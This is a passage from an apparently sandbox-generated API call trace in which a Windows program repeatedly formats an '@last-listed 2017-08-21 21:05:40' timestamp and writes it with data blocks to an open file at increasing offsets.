_MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 80740 [0121.467] _write (in: _FileHandle=4, _Buf=0x3de28e8*, _MaxCharCount=0x3cb | out: _Buf=0x3de28e8*) returned 971 [0121.467] gmtime (param_1=0x36f188) returned 0x841688 [0121.467] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.467] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 81744 [0121.468] _write (in: _FileHandle=4, _Buf=0x3de0860*, _MaxCharCount=0x178 | out: _Buf=0x3de0860*) returned 376 [0121.468] gmtime (param_1=0x36f188) returned 0x841688 [0121.468] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.468] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 82153 [0121.468] _write (in: _FileHandle=4, _Buf=0x3d4ecd8*, _MaxCharCount=0x168 | out: _Buf=0x3d4ecd8*) returned 360 [0121.468] gmtime (param_1=0x36f188) returned 0x841688 [0121.468] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.468] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 82546 [0121.468] _write (in: _FileHandle=4, _Buf=0x3de09e8*, _MaxCharCount=0x178 | out: _Buf=0x3de09e8*) returned 376 [0121.468] gmtime (param_1=0x36f188) returned 0x841688 [0121.468] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.468] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.468] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 82955 [0121.468] _write (in: _FileHandle=4, _Buf=0x3d53ee0*, _MaxCharCount=0x2b5 | out: _Buf=0x3d53ee0*) returned 693 [0121.468] gmtime (param_1=0x36f188) returned 0x841688 [0121.468] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.468] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.468] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 83681 [0121.469] _write (in: _FileHandle=4, _Buf=0x3de2cc0*, _MaxCharCount=0x1b0 | out: _Buf=0x3de2cc0*) returned 432 [0121.469] gmtime (param_1=0x36f188) returned 0x841688 [0121.469] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.469] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 84146 [0121.469] _write (in: _FileHandle=4, _Buf=0x3d541a0*, _MaxCharCount=0x199 | out: _Buf=0x3d541a0*) returned 409 [0121.469] gmtime (param_1=0x36f188) returned 0x841688 [0121.469] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.469] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 84588 [0121.469] _write (in: _FileHandle=4, _Buf=0x3d4ee50*, _MaxCharCount=0x168 | out: _Buf=0x3d4ee50*) returned 360 [0121.469] gmtime (param_1=0x36f188) returned 0x841688 [0121.469] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.469] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.469] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.469] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 84981 [0121.469] _write (in: _FileHandle=4, _Buf=0x3d4efc8*, _MaxCharCount=0x168 | out: _Buf=0x3d4efc8*) returned 360 [0121.469] gmtime (param_1=0x36f188) returned 0x841688 [0121.469] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.469] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 85374 [0121.470] _write (in: _FileHandle=4, _Buf=0x3de0b70*, _MaxCharCount=0x178 | out: _Buf=0x3de0b70*) returned 376 [0121.470] gmtime (param_1=0x36f188) returned 0x841688 [0121.470] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.470] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 85783 [0121.470] _write (in: _FileHandle=4, _Buf=0x3d56348*, _MaxCharCount=0x298 | out: _Buf=0x3d56348*) returned 664 [0121.470] gmtime (param_1=0x36f188) returned 0x841688 [0121.470] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.470] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 86480 [0121.470] _write (in: _FileHandle=4, _Buf=0x3ec21a8*, _MaxCharCount=0x178 | out: _Buf=0x3ec21a8*) returned 376 [0121.470] gmtime (param_1=0x36f188) returned 0x841688 [0121.470] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.470] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.470] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.470] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 86889 [0121.470] _write (in: _FileHandle=4, _Buf=0x3ec4190*, _MaxCharCount=0x33d | out: _Buf=0x3ec4190*) returned 829 [0121.471] gmtime (param_1=0x36f188) returned 0x841688 [0121.471] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.471] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 87751 [0121.471] _write (in: _FileHandle=4, _Buf=0x3ec2330*, _MaxCharCount=0x178 | out: _Buf=0x3ec2330*) returned 376 [0121.471] gmtime (param_1=0x36f188) returned 0x841688 [0121.471] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.471] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 88160 [0121.471] _write (in: _FileHandle=4, _Buf=0x3ec24b8*, _MaxCharCount=0x178 | out: _Buf=0x3ec24b8*) returned 376 [0121.471] gmtime (param_1=0x36f188) returned 0x841688 [0121.471] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.471] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 88569 [0121.471] _write (in: _FileHandle=4, _Buf=0x3ec44d8*, _MaxCharCount=0x227 | out: _Buf=0x3ec44d8*) returned 551 [0121.471] gmtime (param_1=0x36f188) returned 0x841688 [0121.471] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.471] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.471] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.471] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 89153 [0121.471] _write (in: _FileHandle=4, _Buf=0x3ec4708*, _MaxCharCount=0x2ee | out: _Buf=0x3ec4708*) returned 750 [0121.472] gmtime (param_1=0x36f188) returned 0x841688 [0121.472] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.472] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 89936 [0121.472] _write (in: _FileHandle=4, _Buf=0x3ec4a00*, _MaxCharCount=0x199 | out: _Buf=0x3ec4a00*) returned 409 [0121.472] gmtime (param_1=0x36f188) returned 0x841688 [0121.472] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.472] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 90378 [0121.472] _write (in: _FileHandle=4, _Buf=0x3ec2640*, _MaxCharCount=0x178 | out: _Buf=0x3ec2640*) returned 376 [0121.472] gmtime (param_1=0x36f188) returned 0x841688 [0121.472] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.472] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 90787 [0121.472] _write (in: _FileHandle=4, _Buf=0x3d4f140*, _MaxCharCount=0x168 | out: _Buf=0x3d4f140*) returned 360 [0121.472] gmtime (param_1=0x36f188) returned 0x841688 [0121.472] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.472] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.472] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.472] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 91180 [0121.473] _write (in: _FileHandle=4, _Buf=0x3d4f2b8*, _MaxCharCount=0x168 | out: _Buf=0x3d4f2b8*) returned 360 [0121.473] gmtime (param_1=0x36f188) returned 0x841688 [0121.473] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.473] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 91573 [0121.473] _write (in: _FileHandle=4, _Buf=0x3ec27c8*, _MaxCharCount=0x178 | out: _Buf=0x3ec27c8*) returned 376 [0121.473] gmtime (param_1=0x36f188) returned 0x841688 [0121.473] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.473] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 91982 [0121.473] _write (in: _FileHandle=4, _Buf=0x3ec2950*, _MaxCharCount=0x178 | out: _Buf=0x3ec2950*) returned 376 [0121.473] gmtime (param_1=0x36f188) returned 0x841688 [0121.473] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.473] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 92391 [0121.473] _write (in: _FileHandle=4, _Buf=0x3ec2ad8*, _MaxCharCount=0x178 | out: _Buf=0x3ec2ad8*) returned 376 [0121.473] gmtime (param_1=0x36f188) returned 0x841688 [0121.473] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.473] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.473] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.473] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 92800 [0121.473] _write (in: _FileHandle=4, _Buf=0x3ec2c60*, _MaxCharCount=0x178 | out: _Buf=0x3ec2c60*) returned 376 [0121.474] gmtime (param_1=0x36f188) returned 0x841688 [0121.474] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.474] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 93209 [0121.474] _write (in: _FileHandle=4, _Buf=0x3ec53a8*, _MaxCharCount=0x1a7 | out: _Buf=0x3ec53a8*) returned 423 [0121.474] gmtime (param_1=0x36f188) returned 0x841688 [0121.474] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.474] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 93665 [0121.474] _write (in: _FileHandle=4, _Buf=0x3ec2de8*, _MaxCharCount=0x178 | out: _Buf=0x3ec2de8*) returned 376 [0121.474] gmtime (param_1=0x36f188) returned 0x841688 [0121.474] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.474] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 94074 [0121.474] _write (in: _FileHandle=4, _Buf=0x3ec2f70*, _MaxCharCount=0x178 | out: _Buf=0x3ec2f70*) returned 376 [0121.474] gmtime (param_1=0x36f188) returned 0x841688 [0121.474] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.474] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.474] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.474] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 94483 [0121.475] _write (in: _FileHandle=4, _Buf=0x3ec30f8*, _MaxCharCount=0x178 | out: _Buf=0x3ec30f8*) returned 376 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.475] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.475] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.475] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.475] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 94892 [0121.475] _write (in: _FileHandle=4, _Buf=0x3ec3280*, _MaxCharCount=0x178 | out: _Buf=0x3ec3280*) returned 376 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.475] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.475] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.475] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.475] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 95301 [0121.475] _write (in: _FileHandle=4, _Buf=0x3ec5958*, _MaxCharCount=0x188 | out: _Buf=0x3ec5958*) returned 392 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: 